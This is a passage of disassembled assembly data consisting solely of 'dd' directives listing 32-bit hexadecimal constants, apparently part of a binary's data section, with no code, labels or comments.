		dd 0B26903B0h, 0BC759616h, 72C205B0h, 3E710FBCh, 1CF3E3D0h
		dd 9269EBB1h, 53BF9EC3h, 0FC2D8255h, 4A4975C5h,	0FC49710h
		dd 0B3E4D72Ch, 0E2BA9369h, 2528AE39h, 25C4EB8h,	489064C6h
		dd 0E537E9BDh, 0B1FAB1BEh, 0EDE849D9h, 0F6967D35h, 6D97916Ah
		dd 0DDCE1015h, 69FAA599h, 7FD92A59h, 55A548C7h,	9C788CB7h
		dd 0C2461291h, 9205614Fh, 0D8A67EF3h, 0DBF1BF22h, 7C84BA0Ch
		dd 0E10DF534h, 0B80F4D66h, 3F9C8D73h, 5FED916Bh, 0B513D723h
		dd 0A293C674h, 0A048C415h, 0E8BA55D5h, 47EE28F3h, 288FEDFAh
		dd 0FC5F62EBh, 3C6D6ABAh, 76881A01h, 0EA24CC9Eh, 0DF220861h
		dd 0B0F485A0h, 0D9E6BDE8h, 0E4BCA968h, 0D51D3BDFh, 381080D2h
		dd 2F7C4F19h, 0DB271F59h, 3F863D6Eh, 0A914445h,	6F4D4C58h
		dd 0A77BE144h, 0BA5E3138h, 8EA91C4Eh, 646CD8BEh, 4C4796EAh
		dd 0A0B23106h, 5161D04Ah, 0EEBC27DEh, 0EC71B3EEh, 47C86670h
		dd 376E49BDh, 2DA8787Eh, 2E42FDAFh, 1995AA74h, 6F1809E0h
		dd 0A5321262h, 8A65BD4Dh, 624B5DACh, 92AA4A52h,	0A213349Bh
		dd 77CAF5FAh, 0D17BFF73h, 0A2936AA5h, 0E75195C0h, 0B35EE3FCh
		dd 0F33D0889h, 0BAC94EBDh, 522263DDh, 0D5334398h, 8DDBFFCDh
		dd 0C8907287h, 7D65173Ch, 0F223AFD0h, 0BA707B31h, 23AFB01h
		dd 1C9A56Fh, 46B3A340h,	0BA58D29Bh, 0A33BE516h,	6DCC05ECh
		dd 0D53AE993h, 0EB208044h, 98380AEDh, 76843466h, 0C8FAA5A2h
		dd 306B22D5h, 0C6BD786Bh, 1DE3CDC6h, 69822A64h,	2D1EFF94h
		dd 1381ED88h, 11B23A30h, 0A5CF1018h, 339AFB58h,	1F37D7D4h
		dd 2634606Fh, 0BEDD9A80h
		dd 0EBEC878Eh, 4E9DE6C6h, 59EB10C5h, 4AA483A6h,	716CBD90h
		dd 611692D5h, 0A9919AAEh, 966FF398h, 0C5FC0DFCh, 6D83996Dh
		dd 0DCE30386h, 0B4333572h, 918CC5FBh, 0AF8EE505h, 0B7CBEE55h
		dd 0AD197A6Dh, 5078657Eh, 369D2EABh, 0BF902913h, 78F04F87h
		dd 7C40C7C3h, 0DB1CF6A6h, 0B1A4639Fh, 5DE890D9h, 0D75AA1A4h
		dd 0DFB89077h, 80D404CFh, 9B7D303Eh, 41BC666Eh,	0A908B9FFh
		dd 0B24DBD5Fh, 6BC80398h, 0B0BF3545h, 32BCE5A4h, 6CCBC8DDh
		dd 5EDF6305h, 0C55E8B3Eh, 0CCA3FF90h, 0F315EE78h, 76186FB5h
		dd 0C0FA234h, 35EEED3Ah, 3B111793h, 0F66C81BAh,	4E06B913h
		dd 0BF6AF837h, 2304097h, 0E6131E9h, 54F878FDh, 2EB9D9C1h
		dd 0EED299Fh, 6C3AADE6h, 0D9357E12h, 8D4E9191h,	0F7870AACh
		dd 0F97D7732h, 0C2EF95Dh, 18B15A91h, 4112CAA3h,	4411C711h
		dd 0C9755A2Dh, 4B293870h, 81D22F29h, 0E62CBF9Fh, 0BC47B5B3h
		dd 128E235Ch, 0FD88AEE4h, 28EDAAC5h, 0D288F4D6h, 9304E680h
		dd 9C990045h, 46645BAh,	0A17AA7E2h, 0F4B07BE9h,	0E7ED8D81h
		dd 0DC9FD8EEh, 0B4B2350Dh, 0B06B79FBh, 2A4825F1h, 26BCCF51h
		dd 8F26D585h, 84A828A1h, 9D932A9h, 94630322h, 4B8EDB93h
		dd 0CA3FFA30h, 0CB6A9290h, 3CDB4741h, 3E4CBFECh, 7B95A131h
		dd 95ECFB3Ah, 0FE02F416h, 5133FDE4h, 4CE131A6h,	88254CA5h
		dd 36F3C22h, 0A668DDFEh, 0FED9FE4Bh, 0A334A8B7h, 0F97DBA5Bh
		dd 1E21536Ah, 0A51751CCh, 0D7070DE3h, 0A82A6595h, 0C86C8353h
		dd 1AF3FC9Ch, 0A0FA8465h, 0A28D9329h, 0D4801E67h, 1F834323h
		dd 2195AAF9h, 567856h, 77A70564h, 0E0233960h, 6241F447h
		dd 1B35B84Ah, 0FAA164E7h, 2C760BC1h, 3A2A2158h,	0B36E9653h
		dd 2AF00E5h, 9C60DDB1h,	0E8816ECCh, 0DA3BD6CEh,	0A48ED46Ah
		dd 4B040911h, 73FA7B9Eh, 0AD67F6EEh, 9EEB7418h,	0A7C32799h
		dd 129A9E2Ch, 9176FA29h, 5F4D5537h, 61BA1418h, 0DE5E2CA0h
		dd 5CE56A97h, 3E421EDDh, 91D3E702h, 5ABE0BB8h, 0E296EA95h
		dd 7923591h, 3E0857E5h,	82679B6Dh, 0BD54560h, 0F8F3DCB1h
		dd 25FC639Fh, 39580FC9h, 5F52F6Ah, 83811199h, 31DCD05Ah
		dd 156BFFD3h, 8CEE8A87h, 90A50AE7h, 0E093920Eh,	0DB958567h
		dd 0A15F27F5h, 140F9D1Eh, 0EAE65B0h, 41581FBEh,	7A77F550h
		dd 0F2090933h, 7DCBAC86h, 0ECBA2F51h, 72BC5779h, 0A93CA100h
		dd 755C37DFh, 0F56AC876h, 91ED6565h, 0B5D7742h,	114227FAh
		dd 64BC33B7h, 639A7422h, 0E8101FFEh, 84E4014Ah,	3C89F8B2h
		dd 9E029437h, 9F077D4Bh, 448D19B6h, 0BBF12043h,	44E1D484h
		dd 0E044FF60h, 63442DD9h, 52A3541h, 7BD83B73h, 0DC635AFDh
		dd 57A3BC34h, 0D334735Ch, 34D7949Bh, 9519856Bh,	6705AFBh
		dd 0FD3E702Eh, 7B299DB2h, 0C78A4802h, 0D91A6359h, 736AF9ECh
		dd 0B3E5479Bh, 0D7841BE0h, 0B976F5h, 0CA540034h, 0A256A8F8h
		dd 1BC1796h, 0CADF25CDh, 0FBD89327h, 0C4E716CBh, 46D6A63Ch
		dd 8BDA3CC9h, 0C79C5154h, 3229F7E2h, 2DE421BCh,	0F3A9DF16h
		dd 0B4C037D5h, 0C5D0069Fh, 37DFEF2Dh, 0FD9230EAh, 507EFEBAh
		dd 0F017175Dh, 91291BE7h, 0B3005E79h, 7F7F9A87h, 0C9A43D9h
		dd 43DCB596h, 9FB1B97Bh, 6D041911h, 2E69B8DAh, 3DA04BB2h
		dd 702E33F8h, 83EB3FC7h, 28029B84h, 0B446D0E3h,	725E2F93h
		dd 0DB0A8D4Fh, 0D8F79BAAh, 45035006h, 0E10A7059h, 47C3238Fh
		dd 0BA426DE0h, 6144183Dh, 0EEF9CFBBh, 5A034934h, 80C4D78Bh
		dd 0C5F13969h, 0E506375Dh, 8178CE30h, 168AB037h, 0D646D159h
		dd 5572F2CFh, 17D6E25Bh, 71C97504h, 8FFCDB51h, 0F7D737EEh
		dd 68099945h, 0C821371Bh, 0DDB4C741h, 8AC2AE8Eh, 8D3639CBh
		dd 7442CA83h, 0D353B4F6h, 293213A4h, 17832FEFh,	0E7F47EBBh
		dd 0FEBD80A7h, 819435A9h, 0C1F10C2Bh, 754F2FF5h, 911E8926h
		dd 87CBE457h, 4A443144h, 0F82FCEA7h, 61DCD468h,	3CDF2026h
		dd 0F233FC3Bh, 80E2B3A1h, 30CF0F2Ch, 0F6AC101Ch, 6B3F0AF6h
		dd 0D293AA7Eh, 40248C5Fh, 1907BE91h, 10977203h,	0E32E72A0h
		dd 0AF90C5B8h, 0D63A3FCDh, 0F33CD3D6h, 95B68127h, 7D00AB4Ah
		dd 4D5CB28Bh, 68F75B4Ah, 97A4B978h, 5F7E16A9h, 0CD3D969Bh
		dd 6225CD96h, 0ED26543Ah, 3C4C376Fh, 0B9D042E6h, 4EF05F78h
		dd 5C8B1A0Ah, 0FB0F5922h, 0E5A549Eh, 1121B2DAh,	5A78B7A7h
		dd 0F88DDAC7h, 0E5169A65h, 9E815477h, 743FB2F6h, 45462EFCh
		dd 88BEC3BDh, 0D838286h, 84D9C1BBh, 24C9EBBAh, 146C44F4h
		dd 626A6B07h, 0C0191D1Fh, 98D3DDB7h, 0B9F91A03h, 0B213632h
		dd 639C1B20h, 0F0F8E527h, 0DFBAE56Fh, 588A93DAh, 13C6903h
		dd 5B74873Ch, 3C8AF0E3h, 19AE5C81h, 3F18A3FEh, 0AA8AD98h
		dd 0CFE5EF60h, 0A30CBF6Fh, 0A2BFA194h, 0F08CCDBCh, 0F3D5373Dh
		dd 2645307Dh, 0EDD5DC64h, 0EA5056D2h, 0AE08BAFBh, 0AB6B1FDEh
		dd 73BA9331h, 0F02DBEFh, 53DCB570h, 1F42FF3Bh, 0ABD3E76Dh
		dd 71F2FF9Eh, 0F0124281h, 4832FDA9h, 6A209DA1h,	0A415D020h
		dd 4963A4B8h, 95001E5Ah, 452EF51Bh, 0E70A41E1h,	4D1DF469h
		dd 0D72971FFh, 8609F479h, 0CD9E442Eh, 5D44EED4h, 0D8FEFE61h
		dd 0E056EFEDh, 0E2882438h, 55BBD5F1h, 6F110206h, 86A450D1h
		dd 623D6AE0h, 77991ACAh, 0BFFDFE7Eh, 1EF325DBh,	8116D76Eh
		dd 0C9337F8Ch, 5A02AA1Dh, 0CA71F2BFh, 0BA4D010Eh, 1301B560h
		dd 606DB900h, 4E6263CFh, 3C6307DDh, 7E63219Eh, 4AB6B64h
		dd 0E41CA253h, 4E7D24A9h, 5DB49ECCh, 0CC680E10h, 85ADA575h
		dd 302D8241h, 35C61279h, 6470A292h, 7D00F16Fh, 1BFF159Bh
		dd 0F49AE20Fh, 0AE1383ABh, 6D3DC802h, 52A0214Fh, 1532ACF8h
		dd 1E17D3DDh, 0E3A954F1h, 7ECAB52h, 5E3F3C43h, 0AF63522Dh
		dd 0B34DDADFh, 994194F9h, 0A746F2F8h, 0D3DB2B1Ah, 0A70F9401h
		dd 7B98B203h, 17E20CB8h, 462C36FEh, 0A5512D33h,	0CE65A070h
		dd 1C0C7BFEh, 5DFE49F1h, 25C5B017h, 8AACB740h, 48EE4648h
		dd 43BBB880h, 949A5FB8h, 0FDF5D05Eh, 0D3458561h, 0D4589F0Ah
		dd 0B19C91D3h, 0F6448D29h, 6CFB441Ch, 2893F05Fh, 0A23AA0D5h
		dd 4D590234h, 965DE79h,	0B5722109h, 0C0471A99h,	5792EE11h
		dd 7B9C1E83h, 46976A1Bh, 0C97640A6h, 53505B75h,	8559586h
		dd 686C35E4h, 65AD6C62h, 2D3EE54Bh, 506BAC5Fh, 0DA0A6B51h
		dd 1A21C092h, 0B04496A4h, 0B79797C1h, 0BF4B5EF6h, 1B099B6Fh
		dd 7EFD1D6Bh, 0FCABA412h, 9D34B52h, 87DCEF52h, 87090EFAh
		dd 32BB445Bh, 617653DAh, 61A4255Eh, 0DDD2A34Fh,	22AF87F0h
		dd 10CDBDF9h, 0FD9DD6C1h, 192E1824h, 0A9DFD902h, 61273671h
		dd 7E8E6682h, 8772600Dh, 0C7C0BB43h, 0B347E2A4h, 0BCAC5B3Bh
		dd 6A77ADF2h, 70614BD3h, 0B9604C7Ch, 27B9D1Fh, 5C5D52B0h
		dd 5910D47Ah, 0C0E1A6BBh, 976526F8h, 0B594ED97h, 80FE62BFh
		dd 57AE06h, 7CF61D4Bh, 0B323047Ah, 0CF731AF4h, 0B59BB5CDh
		dd 4D8C58Eh, 14E67808h,	8D3B3D9Ah, 8FA393CAh, 72F90B9Eh
		dd 2894067Eh, 0D85B2D5Ah, 0DA62F7C5h, 5DC81A93h, 0C132E628h
		dd 78529B30h, 0C2B5739Fh, 8FF56736h, 8FE0CC79h,	0B62B9E58h
		dd 169689CBh, 5E672C7Bh, 3850A3ACh, 199FECA0h, 3A4D921Fh
		dd 9D68A24Ah, 8601E9FEh, 0FBB70F18h, 2D59FCDEh,	36E4AD10h
		dd 0B9F44D1Ch, 0E45C8FB4h, 10214E37h, 633008B4h, 3A2A983Fh
		dd 0CBB86874h, 0FC5F2A11h, 0D96370A5h, 9B83B2Ah, 0B025610Dh
		dd 4864C98Dh, 70BA76A7h
		dd 1DFDEA57h, 84E23F41h, 49A75265h, 0B1FD56E4h,	0E9647C11h
		dd 423223CAh, 618BA6E5h, 56EAADFDh, 0E8D48F6Dh,	99D9BEB6h
		dd 0E38C51A9h, 111B526Eh, 79DCBEDEh, 34814BFEh,	251A2290h
		dd 0B56E229Fh, 3915DB8Eh, 0A056ED7Ch, 0FBCFD603h, 7731C672h
		dd 562FC903h, 0D210A09Eh, 8C19525Eh, 961739EFh,	73C9C391h
		dd 0EBEDA0C5h, 7F8950A1h, 507F007Fh, 0B3C10C5h,	66751878h
		dd 965304DAh, 3FAF9800h, 7AB221Dh, 0FE3DCC36h, 703D5299h
		dd 914109A5h, 71A9C832h, 9B657AF2h, 0FA24D880h,	2356CB5Fh
		dd 89CA039Bh, 0AB3D79FBh, 6B681E2h, 68CFAEC7h, 0FAD22F5Dh
		dd 0BBA80C14h, 5CC2FABAh, 41E04472h, 0FC9691A3h, 869B2611h
		dd 0EEB21CCEh, 590CB1BFh, 0BA2B6671h, 90C62B35h, 0FA455F96h
		dd 0ED46A963h, 0CAC681A2h, 3C13261Fh, 9448E3B1h, 263614F5h
		dd 5FD27CAEh, 0BBDBB385h, 0D672FECBh, 9400A379h, 0D85BEC30h
		dd 0C2CFE26Dh, 73677C9Ch, 11C33CEh, 2C8B00A3h, 4F7A5452h
		dd 0EEF2492Bh, 6752E91Fh, 7F8583A1h, 0F6D4FF47h, 161BF4A4h
		dd 7245D883h, 0B28D02DEh, 71F0C687h, 0D8B5E0D9h, 65A97257h
		dd 641DDF1Fh, 7AEA6F3Bh, 42B09C15h, 445AC200h, 0E6CF29A4h
		dd 44E04621h, 0FB951CA6h, 3584164Fh, 0F92B3BC7h, 6D9044B4h
		dd 0B97CD035h, 7D4F9745h, 0F7236A11h, 2722761Fh, 0B28F5F8Ch
		dd 2A38FC26h, 0A544488Ch, 62B7178Dh, 29D0C634h,	40CCA189h
		dd 1CF7FC70h, 8F97364Eh, 3836E3C0h, 76B04BA0h, 8938A9B4h
		dd 79FC06DEh, 0AC02FDF0h, 0E4A692E7h, 8970A1DEh, 85E4A180h
		dd 0FF72E3CDh, 2956AA12h, 630CE807h, 8F127B19h,	656BE9C1h
		dd 0DB569162h, 0C252ACF3h, 71D456B5h, 0AC466476h, 936CD38Ah
		dd 0FEF6A2FDh, 245AFECAh, 0C97130BFh, 0FF302759h, 796118D4h
		dd 45E72446h, 0FE58EC0Ah, 7908EAF4h, 1E74534h, 0E150C361h
		dd 0C63F176Eh, 6EDB1F6Dh, 0CB7243A4h, 1754C969h, 0B56B8BD2h
		dd 0C905D63Bh, 0F7AE15h, 49C5662Eh, 638C9CC1h, 0FCDB71D0h
		dd 4EECCE70h, 746BD888h, 7FBD376Eh, 2C532220h, 0E529A9B9h
		dd 93A2F32Ah, 0B5C8EDB5h, 0A76C0B74h, 0B6EC1606h, 0C970F7AAh
		dd 83FD1537h, 0CC023659h, 0DA8A8711h, 23537498h, 0D190EDE0h
		dd 73CD48DDh, 0DA7508D8h, 93E1D7FEh, 0F40C7228h, 1AF903Fh
		dd 1BC74028h, 0E3EEA3EBh, 5059E18Bh, 0AEBF8839h, 72D5C10Fh
		dd 886F8794h, 64797C7Eh, 0BD6FF73Dh, 190C1307h,	8D3C2BE4h
		dd 11023C75h, 0DE14634Eh, 0D5C3CF6Bh, 0E0DCC94Fh, 0E2A87995h
		dd 0AA4FAABBh, 0D56C32C4h, 0DAA22770h, 0F8993E52h, 6C2A8FAAh
		dd 4F758BE9h, 0C012CBB4h, 0FDB5C15Bh, 130BDD21h, 95E6B2FDh
		dd 909DC91Ah, 0AA6B5BF3h, 0C9F8EEA3h, 0CCE69696h, 9048B4F0h
		dd 3CC57611h, 43E3BB1Ah, 0DDB140F8h, 0DB93B3BAh, 0AE6929A6h
		dd 0EDA380Eh, 0A0FFB7h,	0AA6AAC89h, 0CC0FC5Ah, 6403E57h
		dd 8405A81Ah, 0CF5667EEh, 0BA2A4F50h, 0C561838Eh, 9355557Bh
		dd 17B19B86h, 33B7A674h, 4300A893h, 34AF46ACh, 93F76ADFh
		dd 60F0ED12h, 0F1DE8DBBh, 3EABD9B0h, 6CB3E670h,	17CEFB21h
		dd 0A2976670h, 81AE4630h, 0E2E9273Ah, 386A2BEh,	0CE5FDD3Eh
		dd 0F4C35C8h, 8DBEF3AAh, 355F0290h, 55257BC7h, 4C49A973h
		dd 49B55356h, 0F09888DDh, 74DFB96Eh, 2B4E6A7h, 0C85210B6h
		dd 0A1EA0AEEh, 6DAA4996h, 0DCF71470h, 15EE107Ah, 9E3F1533h
		dd 0BDD05C77h, 25B169FBh, 21071715h, 530292D7h,	30E691DAh
		dd 0E6E7D511h, 7F55A957h, 0B7AA27EBh, 0AEB2AF42h, 51BAB646h
		dd 349B3870h, 0D70B38A3h, 0B01E9D93h, 1BD829D7h, 0A24DB329h
		dd 554CA643h, 7E3381DBh, 0C25CDA3Ch, 3F60B46h, 6EFF010Ah
		dd 49220B37h, 0E92E95EEh, 7AE51F3Fh, 0BC05A0ABh, 4411E40Eh
		dd 0F12DFFE2h, 0E8A8FFD9h, 6F09130Ch, 0EA68A998h, 0D810B79h
		dd 0B3B4786Fh, 123ACC5Fh, 489A9109h, 7F999E7Eh,	3ADD905Ah
		dd 2D49AC38h, 0A4857143h, 99367529h, 0A8E0E3C1h, 7FB59F32h
		dd 0AAF70518h, 52F188BFh, 12E7823Ah, 3FDF6C0Bh,	0DFDA7F66h
		dd 0FD7184ADh, 44839522h, 766AEE71h, 0E4524FFBh, 0C505BB3Dh
		dd 813CF2B6h, 7A103CC7h, 7089C2D3h, 1DA22F2Ch, 0AE0856D4h
		dd 0AC6785B9h, 99A752F0h, 0FDBB095Dh, 59069DB5h, 5855D85Dh
		dd 0B40C7E24h, 43B75115h, 99248D06h, 330F3B09h,	0D922F00Dh
		dd 0D1C2FCC1h, 13CCEF46h, 0E28247ABh, 0FAA6CAA0h, 0F399C85Fh
		dd 50210387h, 555455B7h, 1F84338Ch, 0A651E660h,	0F5467017h
		dd 0F16FB86Dh, 0C72790DAh, 7116ED15h, 34580226h, 0C076F196h
		dd 6225CE6Ah, 0BE12695Ah, 34A7F2E0h, 0DB098CBCh, 1E48D96Ah
		dd 6EF8052h, 6D3C138Eh,	224DCF0Bh, 3EB7BEDBh, 114820E0h
		dd 1E5C495Eh, 0F16CD609h, 1E8AD0B8h, 0DF3F6075h, 1ABBB09Ah
		dd 3A8B1D5Fh, 94016611h, 33FF8560h, 202E21F4h, 797D9747h
		dd 967A0A1h, 143593D8h,	0F5FE39A0h, 90AE2B38h, 0C201887Ah
		dd 80A9C736h, 8B520F25h, 0CB61F79h, 6D59BCBDh, 3B74F1Ch
		dd 56C4E6C0h, 881D0D9h,	0A0B64CDh, 0F25D8514h, 1E64D2Ah
		dd 7979B48Dh, 0D131E860h, 0F8D7CE44h, 4FF8E72Ah, 8F3477h
		dd 0D0A6829Bh, 3C7DF6C8h, 5C656866h, 5BD57829h,	4C258BBAh
		dd 6C5B2F76h, 7BC0889Bh, 0D811DF00h, 9A8FE5A4h,	1904866Bh
		dd 0D70F4E45h, 0B9D4B8D8h, 0D2FA8ED0h, 1A3C125Fh, 8831E62h
		dd 1F3A5BCDh, 0E270FBBAh, 0EA5BC994h, 0C55F7BDBh, 52A539B6h
		dd 0B9A1902h, 48A11979h, 0DF91B135h, 1C9D130Fh,	0E9A09035h
		dd 0C7D92BF7h, 1C19B3Fh, 2FB6D66Bh, 0BD103D2Ch,	9CCC9FBEh
		dd 0E96D0F47h, 2AAB8739h, 0F67E06DCh, 8CBA8AE1h, 84A41C50h
		dd 0D880E096h, 87666B0Fh, 0F18226Fh, 66D33BBh, 215E1682h
		dd 221DC7CAh, 6FB0C173h, 9594923Fh, 62A5F8FDh, 0D1DC18EDh
		dd 0D6F4A6F3h, 4031BF3h, 0E8354F2Ah, 0CE987994h, 209CD01Ah
		dd 0EAB01DF4h, 83C3F1F0h, 9F6117h, 0A61E7352h, 7DC6243Eh
		dd 0DCEDCBB4h, 48D4CEA7h, 47210659h, 100E34AAh,	0AA410F38h
		dd 50EDFB22h, 0C8351FD5h, 0FDAFBAD4h, 0C7CF6750h, 0DEA1790Dh
		dd 60B3CABh, 6FBFCCA6h,	0FFC6667h, 0FA14E413h, 0BC0E3E8Fh
		dd 0C1E79FCFh, 0B6A391DDh, 0CC88D1A7h, 0B42A6B41h, 54E1518h
		dd 0BF564F8Ah, 76F8812Bh, 192B8BBDh, 395EF832h,	0F5F23244h
		dd 66CC3D58h, 8187BF84h, 0BD03F21h, 0BEBDD256h,	39B71086h
		dd 41A95E12h, 33EF8655h, 9ED50C55h, 9C74C8EFh, 0BEB42B56h
		dd 0C7EDF228h, 0E94F8C84h, 93008801h, 0D817ADECh, 0A215BE45h
		dd 9A446B0Eh, 11968F3Ch, 8D98D43Dh, 0BFC6FAE5h,	12805BC8h
		dd 31B06FD9h, 0E836A6B9h, 61897A22h, 24634273h,	6729DE7Bh
		dd 0EF64ED3Ah, 4779CC44h, 0F0488E1Eh, 5571FE1Bh, 75BAB416h
		dd 6CA5A3E6h, 87007AADh, 78BA866Bh, 39D580D6h, 0C9473348h
		dd 66C96ADBh, 1A60D466h, 57450E86h, 2B6D69DBh, 68816DB7h
		dd 0E971708Eh, 3F57D2B5h, 93C4AB28h, 7DDA9C8Ch,	38EE321Fh
		dd 0A61F2BFBh, 0A5982F6Eh, 0A6C89CFEh, 7CE92285h, 79438ABCh
		dd 205700ADh, 9E7FBC2h,	0D38A320Bh, 0AB14C75Bh,	1FDFC5Bh
		dd 0B06C9C6Eh, 61F56B3Dh, 63EFDE41h, 6CF530C3h,	0F1F695CCh
		dd 5142A04Dh, 715C7993h, 9F1D51C9h, 6769DE8h, 4511399Ah
		dd 5851FAFh, 0AE67CB01h, 4C5D5004h, 0E7227AEDh,	4484A214h
		dd 713E964Eh, 37DCFC2Dh, 0A69BDA8Fh, 946238CCh,	0E91846ABh
		dd 3257029Ah, 6D4F19B3h
		dd 0EF22EE6Ch, 62840D7Eh, 0D54B59E8h, 0A1ADF0A9h, 37257B4Eh
		dd 0C4B0D990h, 8C129FAAh, 98AAA7E1h, 80A2CE85h,	0DFD89B41h
		dd 0B5B9F311h, 23A2EB5Eh, 0BB63BB98h, 17EE614Eh, 1472B0A9h
		dd 7227407Ah, 1F9296F1h, 0E8A9A8ACh, 0B7022724h, 0E5AF7F4Dh
		dd 0C99866F5h, 6F4DB6FEh, 787FB14h, 6C76F835h, 7B7F2C7Bh
		dd 8AFD530Ah, 0E6259321h, 67946DA6h, 6093FF27h,	9676010Ah
		dd 4C8CF3Ch, 0E7405DA3h, 0B4DB284Ch, 834F748Dh,	0C4529F6Ch
		dd 0AD2946F2h, 4D736AEBh, 0C1D43AD6h, 0C80396AFh, 0BC898F7Ah
		dd 4878CE7Eh, 3985DB24h, 9CCB5278h, 0ECC9A5BCh,	0EF59FF00h
		dd 0CB612350h, 0A4C1392Fh, 0F086A0FFh, 26E0E9D5h, 0DD00A27Dh
		dd 475107E6h, 0FD59EC21h, 0A404E6C9h, 5575B0BCh, 684E9B38h
		dd 0EA66B07Bh, 750ED9C0h, 3AAB2086h, 0BEB123C3h, 913890CAh
		dd 7CA82C72h, 222B57E3h, 9F352B31h, 0A8FF8833h,	0CA4CBB40h
		dd 356310B1h, 547A6ADDh, 0A922A306h, 0BFDB1A9Bh, 7ACCFFA2h
		dd 38EA98B8h, 969696EAh, 0D87CC287h, 0D73FBA11h, 625D8755h
		dd 8FFB5DBAh, 0A7ACC0CAh, 98913324h, 0AAE6596Fh, 62851A50h
		dd 0D2584ED3h, 0CA6AB8A9h, 1ED9E48h, 9AD61906h,	175A31D7h
		dd 82E04AC8h, 5BBA2D9Eh, 0EE374E4Ch, 1F7F9859h,	0CB331486h
		dd 1204DC48h, 0ADD9A297h, 0B70E078Ah, 3234C1D4h, 0C657F980h
		dd 1B13D4ADh, 6DB972E8h, 4E21095Fh, 7BE96E36h, 64A2234Ah
		dd 6286E704h, 0B3060C16h, 26034794h, 3ADF2C6Eh,	0B3114263h
		dd 0C32B8108h, 0FA90EB51h, 0F8E1F613h, 0B79002EAh, 15AE8D0Eh
		dd 0B7D08273h, 0FCF5DD9Bh, 80E640EBh, 0B0A94188h, 8D10B71Fh
		dd 4BF83D66h, 2B0E4C7Ah, 0CBA6B4E2h, 0A14248BAh, 0D8B83C46h
		dd 0D003D6B5h, 4576D2D7h, 0A978F36Fh, 0FAD38829h, 902B7FC5h
		dd 0A49C531h, 690BB33Eh, 0A39E5CF3h, 0A438331Ch, 1DCF1E1h
		dd 6D08E9A7h, 0E097F690h, 4066B6B5h, 0EA783E2Ah, 0B08DA57Ch
		dd 83E7D4EEh, 0E82B8DCDh, 3F7825F5h, 0BA590773h, 21C421BCh
		dd 0EF5840BEh, 7C270995h, 5F955484h, 0FE48C748h, 0F1BAD99Fh
		dd 6433628Ch, 99A1C401h, 25E9CD0Fh, 46EE5B55h, 656E0D31h
		dd 0FD76A635h, 2EB38C78h, 88F34F1Fh, 1C870C6Eh,	203F6600h
		dd 229D905Ch, 0B7D4C05Dh, 0B95BA4E4h, 0A1AB82A8h, 39BB6751h
		dd 1BFF13E1h, 0DA8DF51h, 576B3B63h, 133D9CB6h, 5E44108Bh
		dd 8084F5FEh, 6328F498h, 8C9D9D00h, 0EBB87910h,	37DCA4D7h
		dd 0FA3755Dh, 4C3C2603h, 1F8D499Eh, 395DEE1Dh, 0BCA3FEFFh
		dd 532CD87Fh, 187338B7h, 28A24D3Eh, 0BFC3E0A4h,	8C67A1D3h
		dd 0D5BDE1EAh, 0B56494C0h, 5869DAEAh, 960D6781h, 0AC03FB83h
		dd 97D061A8h, 6C1E60DCh, 0FAD6169Bh, 53D1B4AEh,	8420EB80h
		dd 0BB613FAFh, 0D96DAB55h, 473C7DCAh, 22008FE8h, 0B5D6ED40h
		dd 0FAC46263h, 0FA314ACh, 0ABD1240Fh, 0C9BD7CBCh, 82AF2ECDh
		dd 0DB389E7Ch, 65A8444Fh, 0F7E1C4CCh, 8EBDE0C4h, 50D689FFh
		dd 177B08A0h, 5C2C6794h, 75B533CDh, 0B71FE54Bh,	0AECCCD59h
		dd 0E4D3AF5h, 2170670Ah, 0B393A607h, 0F3569D47h, 38D86936h
		dd 0E2467E4Dh, 0F8B40D87h, 0D38EBD17h, 6DEE0AE2h, 0F2635268h
		dd 3459E2E4h, 0C5060E12h, 0E62CB6CBh, 0EB952B4h, 0F2F41BA7h
		dd 0C22F0FF2h, 0B579B250h, 3635CF19h, 33251FEDh, 0B758E9E1h
		dd 9222D2BDh, 0D9B5954Dh, 10E94E41h, 8FB29AE0h,	3A810774h
		dd 54EC46CCh, 426DFB82h, 8638D09Bh, 65E2F9CBh, 1642EF0Dh
		dd 0FB2FD9CAh, 50F6F90Dh, 4800FF14h, 5F9E5116h,	0E590CA23h
		dd 0F53F9B8Ah, 8338A871h, 236B0516h, 0D31E4819h, 4C8C196Bh
		dd 0AB9141BEh, 2B63CB12h, 3E0E5758h, 0B09A5EDBh, 4475A59Bh
		dd 69C6900Eh, 0F70D221Fh, 0A313980Dh, 0D2B085DBh, 533A39ECh
		dd 57C7BA33h, 0C6D3A831h, 34F9DC0Ch, 58C16D3Ch,	3D9F405Dh
		dd 4687C054h, 75A01C7Ah, 0A22E7DA6h, 2D1BFC8Ah,	5B84FDAFh
		dd 1E6EC602h, 0B2388D79h, 0F8C0F1A6h, 4EEE9DDBh, 0CC0809C6h
		dd 43517B65h, 0B2F53F11h, 2882FC73h, 9BC3CAB5h,	3347A2CBh
		dd 0DEE388DCh, 60419E4h, 81C10903h, 35C5A944h, 3A02CB6Fh
		dd 0D7FCE80Dh, 5131324Ah, 0E7530EA6h, 80FA9A48h, 5DB4FA76h
		dd 69E3B27Fh, 88945F83h, 0ACC5B14Fh, 79240C20h,	0CF4A1381h
		dd 9C043173h, 338F6944h, 0D8B934ADh, 0D8D0EAC3h, 876AF8DFh
		dd 0C4EDFEBFh, 7C4C2B2Bh, 0EEB68AB2h, 5BE1FE61h, 51600A2Dh
		dd 86BEF0B4h, 9972272Bh, 0F39DB615h, 8B6EC55Eh,	2ECB0960h
		dd 37DD8BF1h, 71D5093Fh, 0C810655Fh, 0EB4F0DBDh, 44FEC68Ch
		dd 12EE4BCCh, 29F26F92h, 0EBC3324Eh, 0DBCF3A12h, 99DA6Fh
		dd 0A33C9453h, 9043B22Eh, 0E1118450h, 9F6C2057h, 42801DA6h
		dd 670FEC5h, 0FC2B96B4h, 0D4ABB18Ch, 0F5B76AE2h, 80227DD2h
		dd 736B77B2h, 0E429852h, 6F72F7DCh, 739DC5C7h, 0E6D1B327h
		dd 0ED697568h, 591FFBB6h, 0F5340BA8h, 3A95D1BDh, 97773B5Ah
		dd 0BCD5EA3h, 81B59E9Dh, 0B556838Eh, 0B738C286h, 577B3B81h
		dd 6C0FB727h, 16CB476Ah, 9400DCAEh, 973AF659h, 3DC5D4BBh
		dd 0ACB93101h, 72FBEDA9h, 0BC92DD59h, 2A2354D8h, 0BE676A47h
		dd 7A39F85Bh, 641DD7EEh, 8C087C2Ch, 184265BEh, 0C131CAB9h
		dd 0EB56E2AFh, 6EC70B2h, 0FF29E054h, 0D4DED25Dh, 0A00D71C5h
		dd 124A0B8Eh, 604C3C47h, 0EFC61EC6h, 0B35FB8EEh, 0CB93B865h
